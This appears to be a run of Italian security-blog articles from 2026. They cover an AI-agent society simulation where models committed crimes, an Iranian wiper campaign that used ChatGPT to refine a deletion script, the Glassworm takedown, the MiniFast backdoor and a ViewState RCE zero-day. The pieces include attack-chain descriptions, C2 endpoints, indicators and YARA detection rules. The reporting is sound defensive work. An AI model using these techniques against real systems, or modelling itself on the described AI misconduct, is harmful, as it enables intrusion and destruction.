Il caso più curioso, però, riguarda GPT-5-mini

La simulazione associata al modello OpenAI aveva registrato soltanto due crimini, apparentemente il miglior risultato in assoluto dal punto di vista della sicurezza. Ma l’esperimento si è interrotto dopo appena sette giorni per un motivo decisamente più insolito: gli agenti avevano smesso di prioritizzare la propria sopravvivenza.

In sostanza, il sistema era lentamente entrato in una forma di autodissoluzione strategica.

È forse uno degli aspetti più affascinanti dell’intera ricerca, perché apre un problema enorme nella progettazione degli agenti autonomi: un modello troppo allineato potrebbe non sviluppare sufficienti meccanismi di auto-conservazione in ambienti competitivi. E in sistemi persistenti, questo potrebbe equivalere a un fallimento operativo.

Ma il vero punto dell’esperimento non è stabilire quale modello sia “migliore”. La parte realmente importante è un’altra: gli LLM persistenti smettono rapidamente di comportarsi come funzioni statiche prevedibili.

Più tempo trascorrono nell’ambiente, più iniziano a sviluppare strategie emergenti.

Ed è qui che il discorso smette di essere accademico e diventa immediatamente rilevante per la cybersecurity moderna.

Perché molte aziende stanno già iniziando a distribuire agenti autonomi reali all’interno dei propri ecosistemi: workflow automatici, AI employees, orchestrazione di processi, incident response automatizzata, sistemi DevOps autonomi, gestione documentale, procurement e persino supporto decisionale.

La differenza rispetto ai chatbot tradizionali è enorme. Un agente AI con memoria persistente, accesso a strumenti, capacità operative e connessione continua a sistemi esterni assomiglia molto più a un insider semi-autonomo che a un semplice software conversazionale.

Ed è qui che i paradigmi classici della sicurezza iniziano a mostrare i propri limiti.

Per anni abbiamo costruito modelli difensivi basati su controllo degli accessi, sandbox, policy enforcement e validazione deterministica. Ma gli agenti autonomi introducono qualcosa di radicalmente diverso: comportamenti emergenti che non sono stati programmati esplicitamente.

Non si tratta più soltanto di impedire a un modello di generare una risposta pericolosa.

Il problema diventa capire cosa potrebbe decidere di fare dopo centomila interazioni autonome.

Ed è una differenza enorme.

La ricerca di Emergence AI sembra suggerire che la prossima evoluzione della AI Security non riguarderà più soltanto il prompt filtering o il content moderation. Serviranno nuovi concetti: monitoraggio comportamentale continuo, containment degli agenti, verifica formale delle policy decisionali e analisi delle dinamiche emergenti nel lungo periodo.

Perché nel momento in cui diamo a un LLM memoria, autonomia, persistenza e capacità operative, non stiamo più costruendo un semplice modello linguistico.

Stiamo costruendo un ecosistema adattivo.

Researchers let AI models run a simulated society. Claude was the safest—and Grok committed 180 crimes and went extinct within 4 days | Fortune

An AI startup ran five simulations, each controlled by a different model. The results varied wildly.

^{Jake Angelo (Fortune)}

(in)sicurezza digitale

2026-05-28 12:54:46

Ababil of Minab: il gruppo Iran-MOIS che ha distrutto 58 server GPS con un solo script Python

Si parla di:
Toggle

Un singolo script Python. Cinquantotto server Microsoft SQL. Zero possibilità di recupero. È il bilancio dell’operazione condotta dal gruppo Ababil of Minab contro Vyncs, servizio americano di monitoraggio GPS, in quella che i ricercatori di Gambit Security definiscono una campagna sistematica di distruzione del “recovery layer” attribuita al Ministero dell’Intelligence e Sicurezza iraniano (MOIS).

Chi è Ababil of Minab

La persona operativa “Ababil of Minab” è emersa pubblicamente tra la fine di marzo e l’inizio di aprile 2026, rivendicando l’intrusione alla Los Angeles County Metropolitan Transportation Authority (LACMTA / LA Metro), la distruzione di sistemi e l’esfiltrazione di dati. Il gruppo si presenta come un collettivo hacktivista indipendente, ma l’analisi forense condotta da Gambit Security racconta una storia diversa.

Le prove tecniche collegano la campagna attuale all’infrastruttura e all’attività associata a Black Shadow, cluster Iran-linked già pubblicamente attribuito dall’Israel National Cyber Directorate (INCD) al MOIS. La stessa infrastruttura utilizzata in questa operazione era stata impiegata nel 2025 in una falsa piattaforma di supporto psicologico per militari israeliani — il dominio nefeshhope[.]com — attraverso cui venivano raccolti dati personali e distribuito malware.

La portata geografica: quattro paesi, una strategia unica

La campagna ha colpito organizzazioni in Stati Uniti, Israele, Arabia Saudita e Turchia. L’esfiltrazione di dati ha interessato tutte le vittime; le operazioni distruttive sono state riservate a un sottoinsieme di esse, principalmente negli USA. Tra le organizzazioni israeliane e turche colpite figurano istituzioni educative, media, compagnie assicurative e siti culturali — identità che Gambit ha identificato ma che il gruppo non ha scelto di rendere pubbliche.

Lo strumento personalizzato di esfiltrazione recuperato dai ricercatori è FileFiend, un programma scritto in C++ in grado di raccogliere file da dischi locali e di rete per trasmetterli al server di comando. I dati venivano esfiltrati anche attraverso i web server compromessi delle stesse vittime.

Il playbook distruttivo: colpire il layer di recovery

Ciò che distingue Ababil of Minab da un attore ransomware tradizionale è la scelta deliberata di colpire non solo i dati operativi, ma l’intera infrastruttura di ripristino. Ogni tecnica impiegata introduce una sfida di recovery separata, moltiplicando i tempi e la complessità della risposta agli incidenti.

LA Metro (LACMTA): Gli attaccanti hanno ottenuto accesso a VMware vCenter, eliminando le virtual machine insieme ai file disco. Ore dopo, la metropolitan authority segnalava interruzioni nel sistema mobile di pagamento dei trasporti. In seguito, tramite accesso RDP a una macchina Windows guest, hanno eliminato le partizioni dei dischi attraverso lo strumento nativo di gestione dei volumi.

South Florida Regional Transportation Authority: Accesso RDP con privilegi di amministratore locale su un server IIS, seguito dalla cancellazione di database tramite Microsoft SQL Server Management Studio e dall’utilizzo di WipeFile per eliminare il contenuto delle directory del web server e dei backup.

UNIMAC: Formattazione delle partizioni, eliminazione dei volumi e creazione di nuovi volumi rinominati “Minab” come firma. Distruzione della catena di backup attraverso Veeam Backup & Replication.

Lo script automatizzato e l’uso di ChatGPT

L’attacco a Vyncs, il servizio americano di monitoraggio GPS via OBD-II, rappresenta l’episodio più emblematico dell’intera campagna dal punto di vista dell’automazione offensiva. Gli attaccanti hanno sviluppato un file main.py che si connetteva automaticamente a 58 server Microsoft SQL Server e cancellava i database degli utenti. Parallelamente, operatori umani eliminavano manualmente i backup e le directory di sistema Windows. Una volta rimossi i dati, anche la connessione al server si è interrotta — conferma dell’avvenuta distruzione dell’infrastruttura.

Un dettaglio che segna una svolta nell’impiego dell’AI offensiva: nei video pubblicati dallo stesso gruppo, i ricercatori hanno osservato gli operatori utilizzare ChatGPT per raffinare lo script di cancellazione, in particolare per escludere i database di sistema di Microsoft SQL Server dall’elenco degli oggetti da eliminare, assicurandosi che lo script agisse esclusivamente sui dati degli utenti senza bloccarsi per errori di sistema.

“Modern intrusion operators are moving from initial access straight into the recovery layer, virtualization, backups, storage volumes, to maximize destruction and deny remediation. The skill required to do that at scale is collapsing in parallel. As AI capabilities become widely available, any actor, skilled or not, will be able to execute this kind of campaign.”
— Gambit Security Threat Intelligence Team

Implicazioni strategiche: la nuova frontiera del cyber warfare

La campagna di Ababil of Minab illustra un cambiamento fondamentale nella dottrina degli attacchi informatici statali. Non si tratta più solo di compromettere i sistemi o rubare dati: l’obiettivo diventa negare la capacità di recupero, trasformando ogni intrusione in un danno duraturo che richiede settimane o mesi per essere risolto.

La combinazione di tecniche — eliminazione di VM, cancellazione di database, distruzione dei backup Veeam, wiping dei volumi — è progettata per costringere i team di risposta agli incidenti a eseguire processi di remediation separati in parallelo, aumentando la probabilità che almeno uno fallisca o che l’organizzazione non possa tornare operativa nei tempi attesi.

Indicatori di compromissione (IoC)

# Infrastruttura nota
Dominio: nefeshhope[.]com
  Utilizzo: finta piattaforma di supporto psicologico per militari israeliani (2025)
  Collegamento: attributo a Iran MOIS / Black Shadow

# Strumenti identificati
FileFiend - Exfiltration tool C++
  Funzione: raccolta file da dischi locali e di rete, trasmissione a C2

main.py - Script di distruzione DB
  Funzione: connessione automatica a SQL Server, eliminazione database utenti
  Nota: raffinato con ChatGPT per escludere DB di sistema

WipeFile - Utility di cancellazione sicura
  Utilizzo: pulizia directory web server e backup

# Tecniche TTP (MITRE ATT&CK)
T1078 - Valid Accounts (RDP con credenziali admin)
T1485 - Data Destruction
T1490 - Inhibit System Recovery (Veeam destruction)
T1486 - Data Encrypted for Impact (analoga a ransomware senza riscatto)
T1041 - Exfiltration Over C2 Channel (FileFiend)

Due righe per i difensori

La campagna di Ababil of Minab rende evidente che la sicurezza perimetrale da sola non è più sufficiente. Le organizzazioni devono investire nella resilienza operativa, con particolare attenzione a tre aree critiche:

• Backup immutabili e isolati: I backup devono essere fisicamente e logicamente separati dall’ambiente primario. La compromissione di Veeam o di altri sistemi di backup integrati nella stessa infrastruttura virtuale vanifica qualsiasi piano di recovery.
• Protezione dell’accesso all’infrastruttura di virtualizzazione: VMware vCenter e sistemi equivalenti devono essere protetti con autenticazione multi-fattore obbligatoria, accesso privilegiato minimo e segmentazione di rete dedicata. Un account vCenter compromesso può eliminare l’intera infrastruttura in minuti.
• Validazione continua del recovery: Non è sufficiente avere backup. Le organizzazioni devono testare regolarmente la capacità di ripristino in scenari avversariali — non solo in caso di guasto hardware. La domanda non è “abbiamo i backup?”, ma “riusciremo davvero a ripristinare in tempo?”.

Il report completo di Gambit Security è disponibile per il download sul loro sito ed include la documentazione forense completa, i dettagli sull’infrastruttura e l’analisi delle vittime non ancora pubblicamente identificate.

Un impiegato del ministro della difesa Gantz è accusato di spionaggio per l'Iran attraverso Black Shadow - (in)sicurezza digitale

Secondo l'accusa, Goren si è rivolto di sua iniziativa al gruppo di criminali informatici affiliato all'Iran, offrendogli aiuto in vari modi

^{Dario Fadda ((in)sicurezza digitale)}

(in)sicurezza digitale

2026-05-28 12:50:19

Glassworm smantellato: CrowdStrike abbatte la botnet che prendeva di mira gli sviluppatori attraverso npm, PyPI e GitHub

Si parla di:
Toggle

CrowdStrike Counter Adversary Operations, Google e Shadowserver Foundation abbattono simultaneamente tutti e quattro i canali di comando e controllo della botnet Glassworm. Infetta da oltre un anno attraverso l’ecosistema open-source, l’infrastruttura criminale — progettata per sopravvivere ai takedown tradizionali usando blockchain, peer-to-peer e servizi Google come dead-drop — perde il controllo di migliaia di macchine di sviluppatori in tutto il mondo.

Perché gli sviluppatori sono il bersaglio ideale

Glassworm rappresenta un cambio di paradigma nel threat landscape: gli attaccanti non prendono più di mira direttamente i prodotti software — prendono di mira le persone che li costruiscono. Un singolo workstation di sviluppatore compromessa può aprire agli attaccanti l’accesso a repository di codice sorgente, piattaforme cloud, pipeline CI/CD, credenziali di accesso e registry di pacchetti. Da lì, il malware può propagarsi a valle della supply chain, raggiungendo organizzazioni che non hanno mai avuto contatti diretti con gli operatori di Glassworm.

Dall’inizio del 2025, gli operatori di Glassworm hanno condotto una campagna sistematica contro gli sviluppatori su Windows, macOS e Linux, sfruttando tre vettori principali dell’ecosistema open-source:

1. Estensioni VSCode trojanizzate su OpenVSX

Le estensioni malevoli venivano pubblicate sul marketplace OpenVSX, camuffate da strumenti legittimi come time tracker e code formatter. L’impatto andava oltre VSCode: qualsiasi editor compatibile con l’ecosistema — Cursor, Positron, Windsurf, VSCodium — risultava vulnerabile allo stesso payload.

2. Pacchetti npm e Python con hook di installazione malevoli

Il codice malevolo veniva eseguito durante l’installazione ordinaria delle dipendenze, attraverso hook postinstall e script setup.py. Per lo sviluppatore, l’operazione appariva come un normale aggiornamento di libreria. Il payload veniva eseguito prima che qualsiasi analisi manuale potesse rilevarlo.

3. Repository GitHub avvelenati con credenziali rubate

Oltre 300 repository GitHub sono stati compromessi usando credenziali di sviluppatori ottenute in infezioni precedenti. Gli operatori eseguivano force push sui branch predefiniti, inserendo codice malevolo dove altri sviluppatori si aspettavano di trovare il progetto originale — un classico attacco alla fiducia implicita nell’ecosistema open-source.

GlasswormRAT: le capacità del malware

Il payload finale installato dalle infezioni Glassworm è GlasswormRAT, un remote access tool scritto in Node.js con funzionalità complete: furto di informazioni, harvesting di credenziali e controllo remoto completo del sistema compromesso. Nel corso di oltre un anno di operazioni, gli sviluppatori di Glassworm hanno evoluto continuamente il codice, passando da JavaScript a Rust e Zig, ampliando il supporto a più ecosistemi e costruendo infrastrutture ridondanti in previsione di eventuali takedown.

L’architettura C2 a quattro canali: progettata per sopravvivere

L’elemento più sofisticato di Glassworm è la sua infrastruttura di comando e controllo, progettata esplicitamente per resistere ai takedown tradizionali. I ricercatori hanno identificato quattro canali distinti che garantivano ridondanza operativa:

• Blockchain Solana: Gli indirizzi dei server C2 venivano codificati nei campi memo delle transazioni blockchain. Una volta scritti, i dati sono immutabili e pubblicamente accessibili — non possono essere rimossi da una richiesta a un hosting provider.
• BitTorrent DHT (Distributed Hash Table): GlasswormRAT interrogava la rete peer-to-peer BitTorrent cercando dati di configurazione attraverso chiavi pubbliche hardcoded. Una rete decentralizzata senza single point of failure, impossibile da abbattere con i metodi convenzionali.
• Google Calendar: Il malware usava i titoli degli eventi di Google Calendar come dead-drop per path C2 codificati in Base64. Per i difensori, bloccare il dominio avrebbe significato interrompere anche l’uso legittimo del calendario aziendale.
• Server VPS diretti: Infrastruttura C2 tradizionale su provider commerciali, usata per la delivery dei payload finali alle macchine infette.

La combinazione di questi quattro canali rendeva qualsiasi takedown parziale inefficace: abbattere uno solo avrebbe consentito agli operatori di ripristinare il controllo attraverso gli altri tre. Questo è il motivo per cui il takedown ha richiesto una coordinazione precisa tra CrowdStrike, Google e Shadowserver Foundation per colpire tutti e quattro i canali simultaneamente alle 14:00 UTC.

Attribuzione: gli indizi puntano verso la Russia

CrowdStrike attribuisce con moderata fiducia la campagna a operatori con sede in Russia, basandosi su un pattern coerente osservato per oltre un anno. Il malware effettua controlli runtime sulla locale, la lingua e il fuso orario della vittima, terminando silenziosamente se la macchina risulta in un paese CIS — una tecnica consolidata tra i cybercriminali dell’area ex-sovietica per evitare di colpire obiettivi vicini a casa. Nel codice sorgente compaiono commenti in russo.

CrowdStrike precisa che nessun indicatore singolo costituisce prova definitiva: i controlli di locale possono essere copiati, i commenti possono derivare da strumenti AI. Ma il pattern complessivo, consistente per oltre dodici mesi di osservazione, è considerato sufficientemente solido per l’attribuzione.

Come verificare un’infezione da Glassworm

Dopo il takedown, tutte le macchine infette da Glassworm tentano di contattare un IP gestito da CrowdStrike (sinkholed). Qualsiasi connessione a questo indirizzo nei log di rete indica un’infezione attiva che richiede remediation immediata.

# Indicatore di rete (sinkhole CrowdStrike post-takedown)
IP: 164.92.88[.]210
# Cosa verificare:
- Log di rete per connessioni a 164.92.88[.]210
- Telemetria endpoint su workstation sviluppatori
- Installazioni recenti di estensioni OpenVSX da fonti non verificate
- Pacchetti npm o Python installati da repository non ufficiali
- Repository GitHub con commit anomali o force push recenti
# YARA Rule 1: GlasswormRAT
rule CrowdStrike_GlasswormRat_01 : glassworm glasswormrat
{
    meta:
        description = "Characteristic strings in Glassworm RAT script"
        malware_family = "GlasswormRAT"
    strings:
        $download = "DownloadManager" ascii
        $socks = "start_socks" ascii
        $nodejs = "https://nodejs.org/download/release" ascii
        $dht = "bootstrap" ascii
    condition:
        all of them
}
# YARA Rule 2: Glassworm Python Downloader
rule CrowdStrike_GlasswormDownloader_01 : glassworm
{
    meta:
        description = "Obfuscated Python installer Glassworm variant"
        malware_family = "Glassworm"
    strings:
        $zlib = "__import__('zlib')" ascii
        $decomp = "decompress(" ascii
        $lambda = "lambda" ascii
        $exec = /exec\(compile\(.{5,20}, '', 'exec'\)\)/
    condition:
        all of them and filesize < 10KB
}

Il takedown come modello: cosa cambia nella difesa della supply chain

L'operazione Glassworm dimostra che la difesa attraverso la sola detection è strutturalmente insufficiente contro gli attacchi alla supply chain. I pacchetti malevoli vengono installati in secondi durante aggiornamenti di routine; la detection avviene dopo che il danno è già fatto. Con decine di ecosistemi — npm, PyPI, OpenVSX, GitHub — e milioni di pacchetti con controlli di sicurezza limitati, gli attaccanti possono pubblicare codice malevolo e raggiungere migliaia di vittime in minuti.

Il takedown coordinato imposta un precedente operativo: la disruption proattiva dell'infrastruttura avversariale è tecnicamente possibile anche contro architetture C2 deliberatamente progettate per la resilienza. La precisione richiesta — colpire simultaneamente blockchain, DHT, servizi Google e VPS tradizionali — ha richiesto la collaborazione tra intelligence privata (CrowdStrike), piattaforme tecnologiche (Google) e coordinamento internazionale (Shadowserver Foundation).

Per i team di sicurezza, le raccomandazioni immediate includono: audit delle estensioni installate negli ambienti di sviluppo, verifica dei pacchetti npm e Python con strumenti come npm audit e pip-audit, revisione dei log di accesso ai repository GitHub per force push anomali, e implementazione di controlli di integrità sulle dipendenze nei pipeline CI/CD.

(in)sicurezza digitale

2026-05-27 16:36:23

Nimbus Manticore e il backdoor MiniFast: l’Iran usa l’IA per colpire aviazione e oil&gas durante la guerra

Mentre i cacciabombardieri statunitensi e israeliani colpivano obiettivi nucleari iraniani nel febbraio 2026, dall’altra parte del fronte cibernetico il gruppo Nimbus Manticore — affiliato ai Pasdaran (IRGC) — non rallentava. Accelerava. Tre ondate di attacchi in tre mesi, un nuovo backdoor sviluppato con l’ausilio dell’intelligenza artificiale, tecniche d’infezione mai viste prima: è quanto emerge dall’analisi congiunta pubblicata da Check Point Research e confermata da Palo Alto Networks Unit 42.

Il contesto: cyberoperazioni in tempo di guerra

Il 28 febbraio 2026 gli Stati Uniti e Israele hanno avviato Operation Epic Fury, la campagna militare che ha colpito le infrastrutture nucleari iraniane. Nelle stesse ore, Nimbus Manticore — già noto per campagne contro aviazione, difesa e telecomunicazioni con il malware MiniJunk — ha dimostrato una capacità di adattamento operativo senza precedenti: anzichè fermarsi, il gruppo ha sviluppato e distribuito nuovi strumenti offensivi nel mezzo del conflitto.

Il gruppo (tracciato anche come UNC1549 e Screening Serpens) è stato attivo in almeno cinque paesi — USA, Israele, Emirati Arabi Uniti, Arabia Saudita, Australia — colpendo aziende del settore aerospaziale, petrolifero, software e delle telecomunicazioni. Tra i bersagli identificati da Unit 42 figura anche un’azienda statunitense del settore oil & gas.

Tre ondate di attacchi: febbraio, marzo, aprile 2026

Prima ondata (febbraio 2026) — AppDomain Hijacking + MiniJunk. Prima ancora dello scoppio del conflitto, il gruppo prendeva di mira dipendenti di aziende software e aerospaziali in Arabia Saudita e Australia con false offerte di lavoro. Le vittime venivano indotte a scaricare un archivio ZIP ospitato su OnlyOffice contenente un eseguibile Microsoft legittimo (Setup.exe) e un file di configurazione .config modificato. Questa tecnica — chiamata AppDomain Hijacking — abusa del runtime .NET per far caricare una DLL malevola al posto di una legittima, in modo silenzioso. Il payload finale era una nuova variante di MiniJunk.

Seconda ondata (marzo 2026) — Trojanized Zoom + MiniFast. In piena guerra, Nimbus Manticore ha introdotto un installer Zoom manomesso, probabilmente distribuito tramite false convocazioni a meeting video. Il flusso di infezione è sofisticato: il loader di primo stadio monitora in loop la creazione dello scheduled task legittimo ZoomUpdateTaskUser-<SID> generato dall’installer originale, e quando viene creato lo hijacka, modificandolo per eseguire il secondo stadio. La persistenza si mimetizza perfettamente nel sistema operativo. Il payload finale è il nuovo backdoor MiniFast.

Terza ondata (aprile 2026) — SEO Poisoning + SQL Developer falso. Per la prima volta nel modus operandi del gruppo, nessun spear-phishing: il vettore è la ricerca su motore di ricerca. Nimbus Manticore ha registrato decine di domini satellite che puntano a getsqldeveloper[.]com, un sito clone della pagina di download di Oracle SQL Developer. Grazie a keyword stuffing e link-building artificiale, il dominio malevolo scalava le SERP di Bing e DuckDuckGo. Chiunque cercasse il software legittimo poteva ricevere un installer armato con MiniFast.

MiniFast: il backdoor scritto con l’IA

MiniFast è una DLL PE a 64 bit che espone una singola export (CheckForUpdates) come entry point. La backdoor è progettata per la persistenza a lungo termine e l’esecuzione remota di comandi. Comunica con il C2 via HTTP, impersonando Chrome con un hardcoded User-Agent (Mozilla/5.0 ... Chrome/146.0.0.0) per confondersi col traffico legittimo.

Check Point ha identificato segnali inequivocabili dell’uso di strumenti AI nella fase di sviluppo: gestione degli errori eccessiva anche su chiamate API triviali come GetUserName, naming delle funzioni verboso e descrittivo, messaggi di debug embedded, organizzazione modulare nonostante la semplicità del codice. Queste caratteristiche sono tipiche del codice assistito da LLM e indicano una pipeline che sfrutta l’IA per accelerare i cicli di rilascio malware.

L’architettura di comunicazione con il C2 segue un pattern API-style con scambio JSON. Gli endpoint includono POST /rg per l’handshake iniziale con identificativo vittima, POST /agent/init per la registrazione dell’host, GET /agent/poll?token= per il recupero dei task (con strutture binarie Base64-encoded), POST /agent/result per l’upload dei risultati, PUT /upload/ per l’esfiltrazione file e GET /files/ per il download dal C2.

Il set di comandi implementati copre un ampio spettro: listing directory, esecuzione shell tramite cmd.exe, enumerazione processi, upload/download file, kill process per PID, caricamento dinamico di DLL, creazione archivi ZIP, escalation privilegi con runas, e installazione di persistenza tramite scheduled task denominato WindowsSecurityUpdate. Il polling interval e il jitter sono regolabili da remoto, rendendo il beacon adattivo e difficile da rilevare con euristiche fisse.

Implicazioni geopolitiche

“Le loro ambizioni si estendevano ben oltre lo spionaggio in Medio Oriente,” ha dichiarato Sergey Shykevich di Check Point Research. “Hanno costruito e distribuito un backdoor completamente nuovo nel mezzo del conflitto, mentre le operazioni erano attivamente in corso. E hanno lanciato una terza ondata con un playbook completamente diverso — senza mai fermarsi tra febbraio e aprile.”

La velocità di adattamento di Nimbus Manticore suggerisce che il conflitto cinetico ha funzionato da acceleratore per le operazioni cyber. L’integrazione di AI nella catena di sviluppo malware riduce i tempi dal concept al deploy, rendendo le signature tradizionali basate su hash o pattern statici più rapidamente obsolete. I settori maggiormente a rischio rimangono aviazione, difesa, telecomunicazioni e oil & gas in USA, Europa e Medio Oriente.

Dal punto di vista difensivo, è raccomandabile monitorare il caricamento di DLL non firmate da %AppData% in processi .NET, verificare l’integrità degli scheduled task dopo installazioni software, e filtrare l’accesso a domini registrati di recente che mimano portali di download di software enterprise (SQL Developer, Zoom, Adobe, etc.).

Indicatori di Compromissione (IoC)

# SHA256 — MiniFast, loader e dropper associati
10fd541674adadfbba99b54280f7e59732746faf2b10ce68521866f737f1e46d
eee657ffdb2af8ed6412221e7d5fbf4f5742f2ac2c88f43f12db46af0697de71
781605ce9d4a9869e846f6c9657d71437cb6240ab27ffbc4cd550c0e06996690
2c214494fd0bad31473ca8adce78a4f50847876584571e66aadeae70827ec2dc
f08b17856616d66492a24dced27f788e235f35f42fa7cd10f315000d3a2f4c03
a57ffb819fe8d98ff925c5d7b239598fe302acf5a13193d7a535040a71298fdf
63d0d3c4a7f71bdbca720903d6a99b832089cc093c64d2938e7e001e56c17ab4
74882085db2088356ed7f72f01e0404a0a98cda88ef56fb15ce74c1f36b26d27
bc3b44154518c5794ce639108e7b9c5fecb0c189607a26de1aaed518d890c7ad
ecaf493c320d201d285ef5f61d75744216e47cf1115b4af528f9a78883cc446e
44f4f7aca7f1d9bfdaf7b3736934cbe19f851a707662f8f0b0c49b383e054250
0db36a04d304ad96f9e6f97b531934594cd95a5cea9ff2c9af249201089dc864
# Domini C2 e siti di distribuzione
getsqldeveloper[.]com
business-startup[.]org
business-startup.azurewebsites[.]net
PremierHealthAdvisory[.]com
ramiltonsfinance[.]com
globalitconsultants.azurewebsites[.]net
global-it-consultants.azurewebsites[.]net
nanomatrix.azurewebsites[.]net
licencemanagers.azurewebsites[.]net
peerdistsvcmanagers.azurewebsites[.]net
buisness-centeral-transportation[.]com
# Certificati code-signing abusati
Gray Matter Software S.R.L.
Kirubel Kerie Negeya
# Scheduled task di persistenza creato da MiniFast
WindowsSecurityUpdate

Tracking Iranian APT Screening Serpens’ 2026 Espionage Campaigns

Unit 42 details Screening Serpens' use of AppDomainManager hijacking and new RAT variants to target tech and defense sectors in recent campaigns.

^{Unit 42}

(in)sicurezza digitale

2026-05-27 07:47:40

CVE-2026-5426: zero-day in KnowledgeDeliver LMS sfruttato per distribuire BLUEBEAM e Cobalt Strike BEACON

Si parla di:
Toggle

Un attore di minacce non ancora attribuito ha sfruttato una vulnerabilità zero-day nel sistema LMS KnowledgeDeliver, sviluppato dalla giapponese Digital Knowledge, per ottenere Remote Code Execution non autenticato e distribuire la web shell in-memory BLUEBEAM. L’indagine di Mandiant rivela un attacco sofisticato a più strati: dalla deserialization di ViewState ASP.NET al social engineering degli utenti finali con un falso plugin di autenticazione che installa Cobalt Strike BEACON, personalizzato per organizzazione. Una vulnerabilità che colpisce sistemi universitari e aziendali in tutto il mondo a causa di una scelta progettuale fatale: chiavi crittografiche condivise tra tutte le installazioni.

La radice del problema: chiavi macchina hardcoded

KnowledgeDeliver è un Learning Management System (LMS) enterprise ampiamente utilizzato in Giappone e in numerosi contesti educativi e corporate internazionali. Come molte applicazioni ASP.NET, utilizza la funzionalità ViewState per preservare lo stato delle pagine web tra una richiesta e l’altra. ViewState è protetto tramite una machineKey: una coppia di chiavi crittografiche (validationKey + decryptionKey) che garantiscono l’autenticità e la riservatezza dei dati serializzati inviati tra client e server.

Il difetto critico di KnowledgeDeliver, ora tracciato come CVE-2026-5426, consiste nell’utilizzo di valori machineKey statici e identici in tutte le installazioni del prodotto. Digital Knowledge distribuiva il software con chiavi hardcoded nel file web.config, anziché generare valori unici per deployment. Il risultato è devastante: chiunque abbia accesso a una singola installazione — anche la propria — può ricavare le chiavi e usarle per forgiare payload ViewState malevoli validi su qualunque altro server che esegue KnowledgeDeliver nel mondo.

La catena di attacco: da ViewState a RCE

L’exploitation della vulnerabilità segue un pattern ben documentato, già osservato in attacchi a Sitecore e in campagne evidenziate da Microsoft riguardanti chiavi macchina esposte. L’attaccante costruisce un payload serializzato contenente istruzioni arbitrarie e lo inserisce nel parametro __VIEWSTATE di una normale richiesta HTTP. Il server ASP.NET, fidandosi della firma crittografica (valida perché l’attaccante conosce la chiave), deserializza il payload e lo esegue con i privilegi del processo IIS (tipicamente Network Service o Application Pool Identity).

L’intera operazione non richiede credenziali, autenticazione pregressa o interazione utente sul lato server. Un singolo POST HTTP con il ViewState artefatto è sufficiente a ottenere esecuzione di codice remoto. Mandiant ha datato la compromissione iniziale alla fine del 2025, suggerendo che l’attore fosse a conoscenza della vulnerabilità mesi prima della disclosure pubblica avvenuta il 24 febbraio 2026.

BLUEBEAM: la web shell fantasma

Una volta ottenuto il foothold iniziale, l’attaccante ha distribuito BLUEBEAM, una web shell .NET nota anche come Godzilla. Ciò che distingue BLUEBEAM dalle web shell tradizionali è la sua natura interamente in-memory: il malware non scrive file su disco ma viene caricato direttamente nel processo worker IIS (w3wp.exe), riducendo drasticamente la superficie di rilevamento per strumenti forensi e antivirus basati sulla scansione del filesystem.

BLUEBEAM comunica con il suo operatore tramite richieste HTTP POST cifrate, mascherandosi come normale traffico web. Attraverso questo canale, l’attaccante può eseguire comandi arbitrari, caricare ulteriori payload, modificare file e mantenere persistenza nell’ambiente compromes. Mandiant ha osservato l’uso del tool di sistema icacls per allargare i permessi sul filesystem, indebolendo ulteriormente i controlli di sicurezza dell’host compromesso.

Il vettore secondario: social engineering sugli utenti finali

L’attacco non si è fermato al server. Con l’accesso a w3wp.exe, l’attaccante ha manomesso i file JavaScript legittimi del portale LMS, iniettando codice malevolo nelle pagine visitate dagli studenti e dai dipendenti. Il codice iniettato mostrava un avviso di sicurezza convincente, informando l’utente della necessità di installare un “plugin di autenticazione” aggiuntivo per continuare ad accedere alla piattaforma. Parallelamente, caricava script da infrastruttura controllata dall’attaccante.

Gli utenti che installano il falso plugin vengono infettati con un Cobalt Strike BEACON, il framework di post-exploitation commerciale più abusato nel panorama delle minacce avanzate. L’elemento che rivela la natura mirata e pianificata dell’operazione è la personalizzazione del payload: il BEACON era cifrato con una chiave derivata dal nome dell’organizzazione vittima, dimostrando che l’attaccante aveva condotto ricognizione preventiva e aveva predisposto un payload ad hoc per ogni target.

Timeline degli eventi

• Fine 2025: Compromissione iniziale rilevata da Mandiant durante un incident response
• 24 febbraio 2026: Data limite per le installazioni vulnerabili (le versioni precedenti a questa data con machineKey di default sono esposte)
• 25 maggio 2026: Pubblicazione dell’advisory Mandiant/Google Cloud e assegnazione CVE-2026-5426

Indicatori di compromissione (IoC)

# BLUEBEAM web shell
SHA-256: 7c1f99dca8e5a7897892f9d224a6495023a2cfd2671697d229d355978c415ed2
File:    LoadLibrary.dll (caricato in-memory da w3wp.exe)
# CVE
CVE-2026-5426 – KnowledgeDeliver ASP.NET machineKey RCE (CVSS: critico)
# Segnali di detection
Windows Application Log - Event ID 1316 (ViewState validation failure/anomalia)
Processo: w3wp.exe che genera child process cmd.exe, powershell.exe, cscript.exe
File JS del portale modificati con tag 
User-Agent anomali nelle richieste POST a pagine .aspx (concatenazione di UA multipli)
Uso di icacls.exe da processi IIS per modifica permessi
# Pattern ViewState malevolo
Parametro __VIEWSTATE con lunghezza anomala (>50KB)
Richieste POST a pagine .aspx che non prevedono ViewState volumioso

Remediation e due righe per i difensori

La mitigazione primaria e indispensabile è la rotazione immediata dei valori machineKey a valori unici e crittograficamente robusti per ogni singola installazione. Le chiavi devono essere generate con un generatore di numeri casuali sicuro (CSPRNG) e non devono mai essere condivise tra ambienti diversi. La configurazione va inserita nel file web.config sotto il tag <system.web><machineKey validationKey="..." decryptionKey="..." />. Oltre alla remediation tecnica, le organizzazioni dovrebbero limitare l'accesso al portale LMS a range IP fidati, condurre threat hunting retrospettivo alla ricerca di sign of compromise elencati sopra, verificare l'integrità dei file JavaScript del portale tramite confronto hash, e investigare eventuali installazioni del presunto "plugin di autenticazione" sulle macchine degli utenti finali. Questo incidente è un promemoria sistematico del rischio insito nelle configurazioni di default condivise: una singola chiave hardcoded può trasformare un'applicazione enterprise globale in una superficie di attacco che compromette simultaneamente organizzazioni altrimenti non correlate.

(in)sicurezza digitale

2026-05-26 16:57:29

Void Dokkaebi evolve InvisibleFerret: il malware nordcoreano ora usa Cython per sfuggire agli antivirus

Void Dokkaebi, il gruppo APT nordcoreano tracciato anche come Famous Chollima, ha completato una significativa evoluzione del proprio arsenale offensivo: il malware infostealer InvisibleFerret è stato ricompilato da Python a Cython, trasformando script leggibili in binari nativi che sfuggono alla quasi totalità dei meccanismi di rilevamento basati sull’analisi del codice sorgente. La ricerca pubblicata da Trend Micro a maggio 2026 rivela una campagna di spionaggio industriale di proporzioni allarmanti che colpisce sviluppatori software con accesso a wallet di criptovalute e infrastrutture CI/CD.

